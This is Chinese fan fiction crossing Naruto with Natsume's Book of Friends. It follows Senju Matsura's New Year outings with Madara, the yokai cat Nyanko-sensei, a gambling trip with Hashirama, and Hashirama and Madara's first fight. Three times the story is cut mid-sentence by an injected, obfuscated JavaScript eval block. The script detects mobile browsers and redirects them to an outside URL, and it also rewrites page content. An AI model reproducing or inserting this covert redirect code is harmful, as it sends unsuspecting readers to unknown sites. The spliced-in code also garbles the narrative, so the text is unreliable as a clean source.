捣年糕这活儿也不是第一次干了,去年在松萝的强烈要求下,好歹是每个人都参与了一下,总的来说还是柱间一个人在出力,一个土分身转面团,一个本体敲。 好惨一大哥。 今年力气什么的大了很多了松萝决定自己上手。 她先指使着柱间固定好竹筒,再指使扉间把用糯米和大米蒸出来的面团放进去,面团是他们花了三个小时蒸出来的。 扉间举着一团白白的软糯年糕面团,将它扔进了竹筒。 “扉间!你怎么这么扔,万一没扔准掉到地上怎么办!”松萝不满地叫起来,但还是举起了竹子做的敲锤,用力地敲了下去。 扉间呼呼自己双手:“很烫的诶,早知道让皮糙肉厚的大哥去拿了。” 柱间笑他笨:“谁让你用手拿啊哈哈哈!拿个锅盖垫着不就好了!” 扉间头上井字出现:“笨蛋大哥,你忘了锅盖被你砸坏了吗?” 心虚的柱间没有接话,跑到松萝对面帮她打气。 两个人的叫喊声重叠在了一起:“嘿——哈————嘿——哈————”扉间拒绝加入这傻瓜口号。 “小妹,累不累,要不要换我来!” 在柱间跃跃欲试的眼神下,松萝大方地把锤子交给了他。 谁知,柱间才砸了一下,下面的竹筒就不堪重负,裂了个稀巴烂。 还好在一旁的扉间眼疾手快抢救了面团,不然这一天都白费了。 但是——“烫烫,怎么还这么烫!大哥你笑什么…要不是你…赶紧过来帮忙…别动那个…停下……算了,松萝你来帮我吧…” …… - - - 新年的第二天一大早,她惯例先去好友弥实家里,不出所料从他哥哥嫂嫂那里拿到了新年红包。 然后跟弥实一起跑去长老家,长老们都住在一条街上,挨个敲门道声新年好,再送块自己捣的年糕,松萝就收获了一大堆红包,看的弥实眼红。 最后分道扬镳的时候,看他可怜,分了他几个。 回到族长家的宅子,就能看到院子里扉间在扫地。 他今天难得穿了千手一族的正装,竹青色的上衣和条纹灰袴,羽织是奶白色的,配上他白皙的皮肤和银白的头发,比松萝还像个精致的人偶。 他看到跑得飞快的松萝,忍不住叮嘱了一句“别跑太快,小心摔跤”。 “知道了”伴随着敷衍的应答,松萝进屋换了一套绣满橙色花的和服,配上紫金色的腰封,揣上自己捣的年糕放进小包包里,又急速跑了出门。 扉间看到风风火火的她又忍不住出声:“站住,在这等一下。” 松萝在原地拿着扫帚乖乖等,心里却有些急,她可是跟人约好了…… 幸好扉间很快就回来了。 看到他手中的东西,松萝了然。 一条白色的毛领子。 扉间帮她把毛领子系在脖子上,确认不会透风,又帮她整理了一下头发。 ——咦,这根发簪什么时候有的? “好了吗,好了吗?”松萝脸颊红通通的,应该是被风吹的,他犹豫要不要换条大毛领能把脸挡住的那种,但她这急着出门的样子,还是算了吧。 “跟谁出去,那么急?” 松萝眼珠子一转:“弥实呀,我们去拜神社!” ——昨天不是去过神社了吗,一家人一起去初诣…而且怎么老是跟那小子混在一起…… “我走了!”不再理会扉间的啰嗦,松萝跑了出去。 她还急着去南贺川呢! * 南贺川的河面结了一层薄薄的冰,没法玩打水漂消磨时间的斑百无聊赖地坐在一块石头上。 想了想,又站起来跳到树上,不巧惊扰了一窝鸟儿,被啄了好几口。 ——什么鸟,大冬天的不迁徙? 莫名烦躁起来的斑,往南贺川喷了个豪火球,果不其然看到冰面变薄了许多,隐约还能看到下面的鱼。 ——不如还是打水漂吧。 于是他往南贺川喷了一个又一个豪火球。 不知过了多久,对面草丛里突然传来窸窸窣窣的声音。他没由来地心脏跳动了一下,看了眼河里自己的倒影,又放下了心。 从草丛里走出来的正是千手松萝,不过她毕竟是穿着和服穿越山林过来的,头发和木屐不可避免地缠上了杂草还有苍耳小球,她拨开最后一道草丛,表情不是很好。 斑看到她头发衣服都有不同程度的凌乱再加不开心的表情,道了句麻烦,还是从河面上走过去到了她身边。 松萝有些幽怨地看着他:“新年好,斑,这是我自己捣的年糕。” 任谁精心盘的头发——其实是柱间帮她盘的——喜欢的衣服被弄脏了都会有些幽怨的不是吗? 斑看着她散掉的几簇头发和头顶的枯树叶,忍不住笑了起来,然后才接过她举着的用手帕包着的年糕。 前两天,就是新年前夕,他在南贺川见到了好久不见的松萝,他们提到了新年,就约好新年第二天来这里见面送礼。 至于第二天见面送礼谁提的,那当然是松萝了。 好歹也是认识几年的朋友了,虽然见面的次数十根手指就能数得过来,但她还是很珍惜这个朋友的。 ——谁不喜欢漂亮的少年呢? “你说的新年礼物就是这个年糕?”斑捏起一块四不像的年糕,这形状像个…葫芦? “对啊,”松萝已经去除了身上的杂草,正在对着河面跟她的头发作斗争,“这可是我自己捏的兔子,爸爸,大哥,二哥,弥实,还有你,只有你们的是我自己捏的…啊呀这头发怎么这么难弄啊,大哥是怎么…” “弥实是谁?”斑收起“兔子”,有点怀疑它的味道,转而走到松萝身后,抓起她的头发。 “我的一个好朋友,桃华说我们这叫青梅竹马……嘶,你要对我头发做什么?” “别动!”整体发型没有乱,就掉了几小簇,只要藏进去固定好就可以了。 “你别乱来,大哥给我梳的头发,我可宝贝着呢!” 斑冷笑:“我改主意了。” 他伸手把上面的珠钗固定夹全部取了下来,然后整个头发都散架了。 松萝从倒影里看到自己散落的头发,弯弯曲曲,蓬蓬散散,活脱脱一个女鬼,她气得转头大叫:“斑!!” 斑把她头掰回去,手指插入她的发间,把打结的头发理顺。 “说了别动。” 看斑好像是打算帮她理头发,她就不挣扎了,只不过,他会盘头发吗?她自己都不会诶…倒是大哥二哥很会…难道男孩子们都这么心灵手巧吗? 松萝干坐着有些无聊,于是随便找话头聊:“你等了很久吗?” “没有,我刚来。” “哦。南贺川居然没结冰诶?” “…没结冰有什么好奇怪的。”他手一顿。 “我家门口还有弥实家的的水缸都结冰了呢,我还养了条小鱼在家,不知道会不会被冻死…” “冻死了就煮了吃。” “还是烤着吃吧,我二哥喜欢烤鱼。” 一小会儿之后,松萝对着鸡毛掸子对折再对折一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735030|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的发型和上面乱插的发簪发夹,绝望了。 她终于明白自己大哥二哥是天下不可多得的会梳女子发式的好男人了。 单看斑这一头糙乱的短发她就应该想到结果的。 是什么给了她错觉,认为斑能帮她梳个好发型的? 她懒得生气了,甚至觉得有点好笑,默默地把头发复原,披在肩上,慢慢把头发理顺,绑了个两个小麻花辫在脑袋两边。 这过程她一直一言不发,斑少年终于有点意识到了自己的不对,他第一次小心翼翼地跟松萝说话:“你…生气了?” “没有。” “真的?” “假的。” 斑:…… 身后的气息一瞬间消失了。 松萝回头:这就跑了?她都没跑呢?等等说好的新年礼物呢?就我一个人送了?骗,骗礼物? 松萝在原地咬牙切齿,气得踢踢脚边的石子,决定给他数二十个数的机会。 二十,十九,…… 还没数到十五,他就出现了。 他提着一条毛领子回来了。 又是一条毛领子,不过是淡黄色的,而且要比松萝现在用的这条更大更厚一些。 她承认她被这条毛领子吸引了,因为这个颜色是真的少见,而且跟她今天的衣服也算很配。 看在这条毛领子的份上,她就勉为其难原谅他吧,前提是忽略他脸上欠扁的得意表情。 “新年礼物?” “嗯。” 松萝接过,如意料中一般丝滑的手感。 然后把它缠在了脖子上。 ——反正发型已经很怪了,再戴两条毛领子也没什么,而且更暖和了呢,她这样安慰自己。 拜两条毛领子所赐,她鼻子以下的部位都看不见了,像只没有脖子的…企鹅? 她这才正眼看向斑,之前因为头发的事都没好好看他。 少年穿的黑色蓝纹羽织,灰雾色条纹袴,胸前的系带上还有两个毛球,就怪…怪好看的。 不过…脖子上什么都没有,机智的松萝拆下了扉间给她的那条,帮他围上。 “暂时的,之后要还我的!这个必须还!” 终于不用带两条毛领子了,她感到一身轻松。 “走吧。”她轻快地说。 斑不解:“去哪儿?” “去神社啊,新年不都要拜神社的吗?” 斑可不去,去这附近的神社说不定会遇到他的族人,那个时候…他可没法解释,解释什么呢…他脑子一团乱。 “去嘛,我打听到远点的地方有个闹鬼的神社,绝对没人去的。”她双眼发亮。 ——破案了,这人就是想去闹鬼的地方玩,明明是个女孩,怎么比他弟弟还要皮。 既然不会碰上族人,他也没了拒绝的必要。 于是,松萝指路,为了赶在天黑之前能来回,他们两个不顾衣服和形象在山林中狂奔。 很快赶到了那个所谓闹鬼的神社,但是松萝的衣服和头发再次遭殃,倒是斑全身上下还是干干净净的。 斑:…我算是知道你为什么之前那副鬼样子了。 神社很小,鸟居大概只够他俩并排走的,神龛上挂着个长草的红布,石板上上面还有青苔、枯叶,确实是不像会有人来。 松萝:“这么小,那还怎么探险?算了来都来了,进去拜一下吧。” 斑是不信神明的,他不打算拜,但还是在松萝的拽动下,一起穿过了鸟居。 随之奇异的事情发生了。 当他们穿过鸟居之后,眼前的景色就像变了一幅天地。 整个神社扩大了十倍不止,哪里还有什么青苔、枯枝,鲜艳的鸟居一排排林立,幽深的小径尽头,一座土地神像立在神龛上。 松萝惊呆了,她试图后退回到原来的景色,却没有成功。 她犹豫:“难道是…幻术?” 斑否决了她的猜想:“不是,很奇怪,但这些都是真实的。” 玩幻术,没人能玩的过宇智波。 “有趣”,他嘴角微微上扬,似是见到了好玩的玩具,“跟上,我们转转。” 5. 猫咪老师 这个神社虽然不大,但也不像是有人在参拜的样子。 脚下是一条细石铺就的小径,两边各坐落着四个挂着青苔的石灯,半数已经倾斜,有的甚至只剩下一个底座。 主殿已经不能称之为主殿,当中穿过的榕木上挂着残缺的瓦片和条状的窗布,依稀还能辨出几分当初的模样。 神社内静谧无声,空气似乎被凝固了,连树叶都是静止的,四周弥漫着一股令人窒息的沉寂。 就像是一个完全被隔离的空间。 松萝快走几步靠近斑,却不小心被什么东西绊倒,整个人扑在地上。 “啊!” 她爬起来一看,地上有根断掉的稻草绳,上面装饰有白色的纸垂,好像是注连绳。她就是被这个东西绊倒的,但是这个绳子现在断掉了。 斑回头,看她已经自己爬了起来就又转回去打量四周, 刚一爬起来,就看到空中烟雾弥漫,桀桀的怪笑声四周环绕式响起,斑皱眉,后退挡在松萝面前。 烟雾开始在空中翻腾,如同有生命一般地搅动着,逐渐搅拌、凝聚、变形,最终汇为一个两只眼睛一张大嘴的狼狗头。 狗头咧着大嘴笑够了,才将视线转向底下的两人。 “两个小鬼,虽然你们打破了结界对我有恩,但我还是要吃了…嗯?奇怪的气息…说起来你们居然能进入这个神社,还能打破结界,看来不是普通人啊…” 狼狗头自说自话了一会儿,烟雾又重新炸开了一次,再次散开之时,一只胖墩墩的三花招财猫从空中缓缓降落。 它拥有着三色的毛发,圆滚滚的身体,以及一对明亮的大眼睛。它在空中保持着平衡,仿佛有一股无形的力量支撑着它,最终轻盈地落在了地上,没有发出丝毫声响。 它稳稳地站在地上,面向斑和松萝,举起了一只前爪,仿佛是在向他们打招呼。 招财猫这么说道:“吾名斑,暂时就做你们的主人吧,以后要尊称我为‘老师’!” 松萝眨眨眼:“斑,他跟你一个名字呢!” 她说完这句话不出所料地看到斑太阳穴的青筋更深了一点,不免幸灾乐祸。 宇智波斑不满有只猫跟他同名,直接结印吐出一个豪火球试图毁尸灭迹,动作快到松萝来不及阻止。 “斑!!!”她在喊招财猫,可惜猫猫已经淹没在了火海中。 不过招财猫不是普通的招财猫,而是一只大妖怪。 遇到危险,招财猫·斑瞬间变回了他真正的形态——一只体型庞大、白毛凛凛大犬妖。犬妖的出现占据了大半个神社,它只是轻轻一吹,豪火球就被扑灭了。 随之一股强大的气流随扑面而来,裹挟着将人压垮的妖力。 犬妖·斑用他低沉的嗓音警告道:“小鬼,你还太弱,要跟我打,百年后吧。” 说完又变回了懒懒的招财猫的样子,气势转变之快,令人惊叹。 宇智波斑感受到了实力差距,没有贸然继续攻击下去,而是问:“你是个什么东西?” 招财猫斑伸了个懒腰,一步一扭地朝他们走去:“注意你的说辞,我是大妖怪斑。” 松萝倒是没有很强的戒心,她反而觉得很可爱,蹲下来,让招财猫斑跳入她的怀里。 “猫咪老师?”松萝挠了挠他的下巴,自我介绍道,“我叫松萝,他叫斑。” 原本眯着的猫眼睁开,打量了一眼宇智波斑:“跟吾同名啊,真是不爽。” 眼看着宇智波斑又要调动查克拉,松萝立刻打圆场:“说明这是个好名字啊,是不是猫咪老师,斑?” 斑哼了一声,算是答应暂时休战。 “老师为什么在这里,跟这个注连绳断掉有关系吗?” 招财猫斑听到这就气呼呼地打起了猫猫拳:“我只是想看看夏目有没有好好去转生,就被黄泉国度的伊邪那美封印了起来,真是太小气了!被她随手一扔,我都不知道这里是哪里呢!哼!” 伊邪那美? “传说中创造了诸神的黄泉女神,跟伊邪那岐是兄妹。”斑解释道,但他并不相信这只狸猫?狗妖的话,神只是愚昧弱小的人的臆想罢了。 “探险就到此为止,回去了。” 不愉快的一日,他要回去修炼,提高实力,然后揍这只猫。 “等等,”猫咪老师指向将主殿劈成两半的榕树,“那边有人放过什么东西。你们来之前也进来过好几批人,在那边不知道干了些什么。去看看。” 他那时还放出虚影让他们放他出来,结果理都不理他。 那里说不定有知道这群家伙的线索。 松萝闻言走过去,她将手放在榕树上,脸上闪过一丝讶异:“这棵树有一处是空心的。” 她敲掉那一处的树皮,发现里面放着一个碧绿的戒指。 她拿下戒指观察,戒圈是白金色的,内侧刻着01两个数字,绿色宝石看不出是什么材质。 猫咪老师瞪眼观察了一会儿,什么名堂都没研究出来,哼了一声:“就这玩意儿!” 他跳到地面,往神社外跑去,还不如去找吃的呢。宇智波斑早已等在鸟居出口。 “等等我!”松萝将戒指往怀里随手一扔,也往外跑去。 两人分别之时,猫咪老师很自然地跟上了千手松萝。 * “大哥,二哥,我回来了!” “回来了啊,还挺快的…你头发和衣服怎么回事?怎么还抱着一只猫?” 扉间扔下扫帚,凑近了看,确认了松萝脖子上的毛领子不是刚出门时他给的那条。 他一板一眼地问:“我给你的毛领子呢!?” 松萝:……完全忘了这回事了。 “忘在弥实家了,我改天去拿回来。”对不起了,小伙伴,借你一用。 扉间狐疑地盯着她:“那这一条呢?” “额…弥实给的新年礼物。” “那小子有那么多钱?这么罕见的毛皮他也买得起?”扉间嘀咕,这淡黄色的毛色可很少见。 松萝觉得再这样下去大冬天的她也要出汗了:“他一直都有存钱,你忘了吗,每次他上战场前都会把他的存钱罐子给我,就那个棕色的陶土罐子!” 扉间盯着她,不说话。 松萝干笑一下:“二哥…你怎么了?” “你怎么总是找那小子玩,桃华她们呢?” “那还不是因为只有他跟我一样又菜又爱玩嘛,桃华动不动就修行。我昨天还去看过她呢,新年第一天哦,她就已经在练新的忍术了。”这是实话。 扉间算是接受了这个解释,但他又马上丢下一个炸弹:“那明天开始你也别出去了,开始修行。” “扉间!!你怎么能这样!你没有心!!” 抗议无效。 等到傍晚柱间回来的时候,看到的就是垂头丧气坐在廊下的松萝。 松萝泪眼婆娑,凄惨地向他告状。 柱间也觉得可以放宽几天再修行,于是帮他去跟扉间理论,然而却被一句话打败了。 “大哥你如果不想被父亲知道你白天去哪儿了的话,明天开始就一起修行。” 然后两张苦瓜脸挂在了廊下。 松萝问她身边的人:“大哥你白天去哪儿了呀?” 提到这个柱间又兴奋了起来:“一个特别好玩的地方!下次我带你一块儿去啊!但是不能告诉扉间哦!” 她开心地应了,就是有些小疑惑:为什么去好玩的地方不能被佛间爸爸还有扉间知道? 柱间好奇她怀里的猫咪,手贱戳了戳:“这猫咪哪儿来的?我听说三花的公猫…” 他试图翻过猫咪老师的肚子检查,然后遭到了激烈反抗被刮花了脸。 松萝:“……这是猫咪老师。” 那一人一猫已经听不进去她讲话了,正大打出手。 猫毛共黑发齐飞。 * 很快她就知道柱间说的好玩的地方是什么了。 这天一大早,柱间就穿戴整齐,然后帮妹妹梳了头发,套上衣服,背着还困得睁不开眼的她出门了。 等松萝清醒的时候他们已经落在一条热闹的街上。 她从柱间的背上下来,打量着四周。 来来往往的人很多,却多是男子,没有常见的卖杂货的、饰品的小摊,卖吃食的倒是还有,但是怎么那么多醉汉呢,看上去还是宿醉。 柱间牵着松萝熟门熟路地走进了一家店。 松萝进去前还特意看了眼招牌,“福来运转阁”。 听上去像个不错的店。 然而一掀开布帘,她就傻眼了。 “这这是,赌坊?” 一个不小的房间里散乱的放着几张赌桌,每张桌子边都围了好些人,有的人神情激动像中了大奖,有的人疯了一样哐哐捶大胸。 柱间拉着她挤进一张桌子,他俩身形小偏又力气大,很容易就挤进去了。 靠在赌桌边,松萝有些不知所措。 庄家正好新开一盘,那骰子上上下下,左左右右摇了得有几百下,嘴里还念叨着:“快压啊,再不压来不及了啊…” 柱间告诉她:“这是最简单的压单双。”然后把钱压在了单。 松萝思考一瞬,把钱压在了双,这样不管谁赢谁输,都不会真正输钱,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735031|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可太机智了。 “双!” 松萝一喜:“我赢了!” 放出去的银子瞬间翻了一倍,她好像开始明白这个地方的乐趣了。 … 一段时间之后,松萝嘴角的笑意消失了。 她低头,刘海的阴影笼罩了双眼,放在身侧的手指刚要动,就被柱间握住了。 ——他作弊,作弊的人应该受到惩罚。 无人注意的角落,一根尖刺对准了出千的庄家的后颈。 柱间摸摸她的脑袋,无声地做口型:“看我的。” 他从地上召唤了一根小土棒,对着庄家的脚狠狠一砸。 “啊————” 他捂着脚忽然倒在地上,福来运转阁不得不把他抬下去,换了一个庄。 看着重新开局的牌面,松萝重新笑了起来。 插曲结束,阁内气氛再次活跃了起来。 接近傍晚的时候,两个人一个哭一个笑,勾肩搭背走出了赌坊。 柱间乞求:“借我点钱,我再去玩一把,就一把!一定能赚回来的。” “不要!”大哥的赌运她是见识到了,她赢来的钱里有一半是因为跟大哥反着压赢来的。 这样一想,还是有大哥的功劳在的,要不分他一点? “就给你一点点,留给你买东西用,不准再去赌坊!” 柱间点点头,乖巧地仿佛能看见背后的摇动尾巴。 此时的他正像只可爱的大动物,松萝心中怜爱,多给了他点钱。 下一秒,抓起钱的柱间就回身冲进了赌坊。 “大哥!” 松萝没想到大哥还会骗她了,气急败坏地要去里面抓他。 不巧正好有人经过,她被撞到,原地踉跄了几步。 站稳之后,双手空空。她的钱袋呢? 微叹一声,她将查克拉凝聚在脚底,用最快的速度在街巷里穿梭,留下一道道残影。 没一会儿,在暗巷挨了一顿毒打的小偷就乖乖把钱袋奉还。 “偷钱偷到本忍者大人身上,你可真会挑啊。” 她接过钱袋,数了数,才放过他离开。 出了小巷的拐弯口,她撞见了一个意外的人。 “斑?” “松萝?” 松萝眨眨眼:“好巧啊。” 斑笑笑:“不巧,我是看到有个大胆的忍者在街上跑才发现你的。” 她理直气壮地指指身后的小偷:“我在追小偷!他偷了我的钱包。” 鼻青脸肿的小偷刚从地上爬起来就对上了一张凶恶得要吃人的脸,大喊着“救命啊”连滚带爬地跑了。 遇上了熟人刚刚还大赚了一笔,松萝拍拍肚子:“走,斑,我请你去吃饭!” 他们点了两碗牛肉面外加豆角小菜。 “正好在这儿见到你,上次我借你的毛领子呢,我二哥问我好几回了,明天你能不能带来给我,就在南贺川见面好了。” “好。” * 傍晚,输得只剩中衣的柱间瑟瑟发抖地走向了家门口站着的人。 松萝双手抱胸,下巴抬得老高,堵住了左边半扇门;扉间拿着一本书卷,眼皮都没抬,偏偏堵住了右边半扇门。 柱间试图用傻笑蒙混过关:“嘿嘿,我回来了。” “哼!”扉间不看他。 柱间抖了一抖。 松萝觉得有趣,没绷住表情笑了一下,柱间以为自己有救了,扑向妹妹。 松萝任他扑上来,用脸颊蹭她的脖子。 ——我要不要现在告诉大哥,父亲已经发现他去赌博,正在院子里等他呢? ——哎,想想就好惨哦~ “大哥,进去吧!”柱间不敢置信扉间居然就这么放过他了,如赦大罪般欢快地跑了进去。 然后顿住了。 千手佛间握着一根狼牙棒,穿着红色的盔甲,站在院子中间看着他。 柱间:……救命! “叫你去赌博,叫你去赌博!” “还敢带着妹妹去!啊?!” “我看见一次就打一次,我看你还敢不敢,啪!” …… 诸如此类。 那天的暴打极为惨烈,前后左右的邻居全都听到了柱间绵绵不绝的惨叫。 松萝刚开始还看得幸灾乐祸,后来就有些心疼大哥了,于是上去劝了一句。 结果佛间瞪她一眼:“你也敢跟着去?!接下来一个月不准离开族地!” “啊,不要啊,父亲大人!”我多什么嘴啊我。 于是这世上又多了一个伤心人。 6. 写信日常(1)+柱斑初识 * 松萝时常怀疑大哥不是人,他的伤口恢复的未免太快了,跟怪物似的。 昨天下午的毒打为什么今天下午就就能活蹦乱跳了? 被“禁足”的松萝幽怨地看着柱间像只快乐的小鸟儿跑出了家门。 她深深地觉得父亲的惩罚弄反了,让柱间禁足一个月才是正确的,毒打对他来说简直不痛不痒。 顶着妹妹羡慕的眼光,柱间觉得今日的天格外蓝,空气格外清新呢! 可惜零钱都被没收了,要不今天去山里探险吧,攀岩修行也行,昨天的毒打?睡了一晚就不疼了,完全不碍事! 柱间穿梭在林间,忽然闻到了一股焦香的烤鱼味儿,循着源头,他来到河川旁边。 燃烧的篝火上串着两条烤鱼,河滩边铺着一张方形的蓝布,蓝布的四个角用石头压着,布中间放着一个水壶、黑色的方盒子、以及纯白色的毛绒围脖。 一个人都没有。 “是谁忘了带走吗?” 他很快又否定了,鱼还烤着呢,显然是刚才为止还有人的。 焦味越来越重了,那几条鱼的尾巴已经乌黑。 柱间出于好心,把树枝叉着的鱼拿离火源,立在一个正好能保温的距离,插进泥土里。 回头视线正好落在那条毛绒围脖上。 ——真的好像啊。 他和扉间买给松萝的新年礼物之一也是一条毛领子,简直是太像了。 他们是在陆见镇的女性成衣铺“秀丽衣坊”订的兔毛特制而成的,那家店铺的成衣、服饰的设计向来新颖细巧,最受年轻女子欢迎。 还可以定制,并且为了跟其他店出售的东西区分开来,每件手工服饰品都会有“丽”的绣印。 鬼使神差地,柱间的手就往蓝布上放着的东西伸出了手…… …… 斑抓着被他打死的肥鸟回到原地的时候,就见一个少年踩在他特意带出来的蓝布上,还拿着他的东西,气不打一出来。 手中的鸟顺手就被他当武器扔了过去。 破空声从脑后传来,柱间心中惊呼一声“暗器”,侧身下腰,单手一抓。 “一只晕过去的肥鸟?不是暗器?” 还在疑惑的时候,斑已经冲到进前,下腿横扫,势如破竹。 ——先让这不知道是谁的家伙把碍事的脚移开。 柱间只瞥见蓝色残影,身体反射之下原地跳起,不想来人单手往地下一撑,腿风一转,向上踢去。 他在空中避无可避,左手肥鸟,右手毛领子,只好忍痛牺牲肥鸟,朝踢向他的腿掷去。 “嘎嘎啊——” 肥鸟惨叫一声,抛物线落体掉入了河中。 两人拉开距离,戒备地看着对方。 斑看着他手里的东西,语气冷冷的:“把东西放下。” “这是你的吗?还是说从哪里偷来的?”柱间翻出里侧绣着的“丽”字,质问道。他们订这条兔毛的时候,店家可是信誓旦旦说了今年只有这么一条。 斑冷哼:“秀丽衣坊?那又如何?” 他还在那里买了一条更大更贵的淡黄色毛领围脖呢,老板娘当时还对他说那是店里独一无二、上好的毛领呢。 跟柱间想象中被揭穿的心虚不同,这个人如此理直气壮,难道是自己搞错了? 一时不察,手中的东西就从手中滑走,柱间立刻反应过来,伸手攥住。 …… 两人一人拉着一端,形成了僵持之势。 “松手。” “你先说清楚哪来的?” “哼,关你什么事?” 原本短短的围脖被拉成一根细条,在空中微微抖动,并且还有不断被拉长的趋势。 终于,“滋啦——” 断成了两截。 柱间:“……对不起?” 斑:“……去死!” 河边,一蓝一绿两个残影交错、分开、交错。随着时间的推移,火堆被踢灭,木屑飞进了河川,蓝布上全是脏兮兮的脚印,黑色小方盒被踢翻,粉红色的大福孤零零地滚落到了碎石堆中,下一秒又被不知道是谁的脚踩扁,流出奶黄色的馅儿…… * 有那么一类人,叫做不打不相识,越打越惺惺相惜。 两人从早打到晚,最后竟忘了打起来的理由,只剩下全力以赴、大汗淋漓后的畅快。 那只最终淹死在河里的肥鸟被他们重新找了回来,烤熟,分食了。 他们坐在河边消化食物。 斑看着躺得毫无正形的西瓜头,冷嘲:“你这发型配上这绿色衣服,像河童哈哈哈哈哈。” 柱间不甘示弱:“你不觉得你的头发像刺猬吗?肯定没有好好打理吧,我告诉你头发乱糟糟的人会被女孩子讨厌的。” “我才不在乎别人的看法呢!” “你没有兄弟姐妹的吗?他们不会嫌弃你这乱糟糟的头发吗?” “这不是乱糟糟,我出门也是有好好梳过的,昨晚我还洗了个头…今早我弟弟还说我头发比平常看起来顺多了…”说着说着他的语气低下来,“这是天生的。” “自然卷?沙发?那是比较难打理……不过你也有弟弟呀,我也有,我还有个妹妹呢!妹妹的头发经常是我梳的!” 给弟弟妹妹梳头发啊,斑陷入了回忆中,他的弟弟泉奈很小的时候,他也是帮他梳过头的,不过现在长大了完全不让他插手。还有一次就是…虽然不是妹妹…也算是妹妹吧,毕竟她,松萝比我小…她那个时候好像还生气了来着… “喂,想什么呢?”柱间的手在他面前晃了晃。 斑不耐烦:“大男人会梳头有什么用!” 柱间极其夸张地捂嘴:“我的天,斑你平常都这么说话吗?你的朋友们还好吗?不对,你有朋友吗?” 斑的面容开始扭曲,拳头又开始硬了:“你这家伙,从刚才开始就很失礼啊!!” “抱歉抱歉。”柱间抱头认错。 “如果道歉有用的话,要拳头有什么用?” 于是两人来了一套饭后亲热的拳脚交流。 * 被“禁足”的松萝终于想起来她今天跟斑约了在南贺川见面来着,于是叫来了猫咪老师。 “能不能拜托你去趟斑那里拿我的毛领子啊,这些团子就给您了。”她上道地推了一整个盘子的酱汁团子给猫咪老师。 “看在团子的份上,我就勉为其难地答应了。” “谢谢猫咪老师!”她开心地撸了两把猫脑袋。 猫咪老师有他自己特殊的寻人技巧,本来应该很快就能寻到斑的,但是,因为路上各种美食的诱惑,他也就偷了一只鸡腿,一盘虾,半碗酒,吃饱喝足,才慢悠悠地到了斑所在地附近。 这个时候天已经完全黑了下来,猫咪老师靠近的地方其实已经是宇智波的族地。 拖着肥胖的身体,他跳过斑家里的围墙,凭借着味道找到了在院子里和弟弟泉奈练手里剑的斑。 他有些醉醺醺的,那半碗酒也不知道是什么酿的,后劲十足,他看到斑直接喊他:“喂,小子,毛领子呢?” 泉奈是斑活下来的唯一的弟弟,比斑矮了一个头,脑后绑了一根细细的小辫子,穿的是宇智波的高领深蓝色直筒族服,腰间围着一根粗腰带。 他看见猫咪老师很是惊讶:“斑哥你什么时候签了通灵兽呀?” 宇智波一族与忍猫一族签订契约的不在少数,他以为这只三花猫是斑的通灵兽。 “嗯,就前不久。” 斑走向三花招财猫,拎起他往室内走,到了他的卧房,只剩下一人一猫时,他才回答了刚刚的问题: “出了点意外,毛领子…没了。” 猫咪老师一个激灵,从微醺中清醒了过来,接着仰着肚子嘲笑斑:“你可真是大胆,把别人的东西烧掉,这可是大大的减分项啊,小鬼。” 说起这个斑也很生气:“我又不是故意的。”这事儿那家伙要负一半的责任。 “她让你来的?”斑已经能想象到松萝气鼓鼓的样子了。 “那当然,记得给我准备点好酒,我可不是白帮你们跑腿。” “她为什么不自己来?” 猫咪老师舔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735032|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舔自己的爪子:“她被禁足了,这个月都不能出来了。” “你晚点再走,我明天去买条新的。你再带着走。”他想来想去也只能这样了,一条毛领而已,应该不至于怎么样。 “行,记得再买瓶好酒。” * 酒…是不需要了,因为猫咪老师发现了更好吃的东西。 酒酿团子,红糖豆沙包,甜玉米汤包…… 这个叫泉奈的小子怎么有这么多好吃的甜品,在松萝那儿可从来没吃到过。 泉奈也很喜欢猫,一个投喂得开心,一个吃的开心。 “猫咪老师,就先吃这么多吧,可别撑坏了。” “太好吃了,你多做点我要带着上路。” 泉奈以为是斑哥要派他的通灵兽出去做任务,笑着答应:“其实大部分是买的,族里有好几家甜食店呢,我一会儿多给你买些回来。” 猫咪老师幸福得在他怀里打滚:“可爱的小鬼,我记住你的名字了,记得要多点豆沙包!”怎么办他都有点不想回松萝那里了,这里的东西太合他的胃口了! “明白!” * 猫咪老师带回了一条新的毛领子,虽然很像,但还是能认出来不是原来那条。 “那小子说原来那条不见了,这条算赔给你的。” “不见了?”松萝收下这条新的,想着二哥那边该用什么借口搪塞。 思考期间,她看到猫咪老师把背上的另一个包袱解下来,摊开,一大堆甜品展现在眼前。 “哇,这么多甜品!” 猫咪老师小气地把吃的挡在身后:“这是我的!” “哪儿来的呀?” “泉奈给的。那小子的弟弟。” 原来斑的弟弟叫泉奈啊。 